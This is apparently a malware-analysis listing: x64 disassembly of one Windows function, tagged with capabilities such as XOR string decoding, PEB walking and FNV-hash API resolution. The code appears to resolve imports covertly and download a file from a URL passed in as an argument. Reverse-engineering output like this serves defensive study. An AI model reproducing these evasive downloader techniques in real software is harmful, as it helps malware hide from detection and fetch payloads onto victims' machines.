Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
xor edi, edi
mov dword [rbp - 0x30], 0x575b4759
xor eax, eax
mov word [rbp - 0x20], di
xorps xmm0, xmm0
mov dword [rbp - 0xe], eax
movups xmmword [rbp - 0x1e], xmm0
mov ecx, edi
mov word [rbp - 0xa], ax
movdqa xmm0, xmmword [0x140005060]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 8], al
mov dword [rbp - 0x2c], 0x3e5a5441
mov byte [rbp - 0x28], al
movsxd rax, ecx
xor byte [rbp + rax - 0x40], cl
inc ecx
cmp ecx, 0x18
jb 0x14000105a
mov r8, qword [0x1400060b8]
mov byte [rbp - 0x28], dil
test r8, r8
jne 0x140001223
mov rax, qword gs:[0x60]
mov r15d, edi
mov r13d, 0xd3f062cb
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rbp + 0x50], rax
mov r8, rax
mov eax, dword [r8 + 0x58]
sub ax, 8
test r15d, r15d
je 0x1400010f1
mov r9, qword [r8 + 0x60]
mov r10d, 0xecb8cd6d
movzx eax, ax
shr rax, 1
lea r11, [r9 + rax*2]
jmp 0x1400010e3
movsx eax, byte [r9]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400010c3
cmp r10d, r15d
jne 0x140001203
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140001203
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140001203
mov r12d, dword [r10 + 0x20]
dec ebx
mov esi, 0xecb8cd6d
lea rcx, [r12 + rbx*4]
mov r11d, dword [rcx + r9]
add r11, r9
jmp 0x140001154
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
cmova edx, ecx
xor edx, esi
imul esi, edx, 0x1000193
mov dil, byte [r11]
inc r11
test dil, dil
jne 0x140001138
cmp esi, r13d
je 0x14000116f
xor edi, edi
test ebx, ebx
jne 0x140001124
jmp 0x140001203
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx r8d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov r8d, dword [rdx + r8*4]
add r8, r9
cmp r8, r10
jbe 0x1400012a4
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1400012a4
mov r15d, 0xecb8cd6d
mov r13d, r15d
jmp 0x1400011c8
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r8
mov dl, byte [r8]
cmp dl, 0x2e
jne 0x1400011aa
inc r8
xor edi, edi
jmp 0x1400011f5
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r13d
imul r13d, ecx, 0x1000193
inc r8
mov dl, byte [r8]
test dl, dl
jne 0x1400011d7
mov rax, qword [rbp + 0x50]
mov r8, qword [rax]
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rbp + 0x50]
je 0x140001219
cmp qword [rax + 0x30], rdi
jne 0x1400010a0
mov r8, rdi
mov qword [0x1400060b8], r8
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call r8
xor r9d, r9d
lea rdx, [rbp - 0x20]
mov ecx, 0x10000001
lea r8d, [r9 + 0x19]
call sub.urlmon.dll_UrlMkSetSessionOption
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov r10, qword [0x1400060b0]
test r10, r10
jne 0x14000140b
mov rax, qword gs:[0x60]
mov r15d, edi
mov r13d, 0x2694333a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rax, qword [rax]
mov qword [rbp + 0x50], rax
mov r8, rax
mov eax, dword [r8 + 0x58]
sub ax, 8
test r15d, r15d
je 0x1400012d9
mov r9, qword [r8 + 0x60]
mov r10d, 0x7b25f8e7
movzx eax, ax
shr rax, 1
lea r11, [r9 + rax*2]
jmp 0x1400012cb
xor edi, edi
jmp 0x14000121c
movsx eax, byte [r9]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400012ab
cmp r10d, r15d
jne 0x1400013eb
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1400013eb
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1400013eb
mov r12d, dword [r11 + 0x20]
dec ebx
mov esi, 0x7b25f8e7
lea rcx, [r9 + rbx*4]
mov r10d, dword [rcx + r12]
add r10, r9
jmp 0x14000133c
movsx ecx, dil
sub dil, 0x41
mov edx, ecx
or edx, 0x20
cmp dil, 0x19
cmova edx, ecx
xor edx, esi
imul esi, edx, 0x1000193
mov dil, byte [r10]
inc r10
test dil, dil
jne 0x140001320
cmp esi, r13d
je 0x140001357
xor edi, edi
test ebx, ebx
jne 0x14000130c
jmp 0x1400013eb
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx r8d, word [rdx + rbx*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov r10d, dword [rdx + r8*4]
add r10, r9
cmp r10, r11
jbe 0x14000143e
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14000143e
mov r15d, 0x7b25f8e7
mov r13d, r15d
jmp 0x1400013b0
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc r10
mov dl, byte [r10]
cmp dl, 0x2e
jne 0x140001392
inc r10
xor edi, edi
jmp 0x1400013dd
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r13d
imul r13d, ecx, 0x1000193
inc r10
mov dl, byte [r10]
test dl, dl
jne 0x1400013bf
mov rax, qword [rbp + 0x50]
mov r8, qword [rax]
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rbp + 0x50]
je 0x140001401
cmp qword [rax + 0x30], rdi
jne 0x140001281
mov r10, rdi
mov qword [0x1400060b0], r10
mov r8, qword [rbp + 0x48]
xor r9d, r9d
mov rdx, qword [rbp + 0x40]
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call r10
mov rbx, qword [rsp + 0xc8]
cmp eax, 1
setne al
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor edi, edi
jmp 0x140001404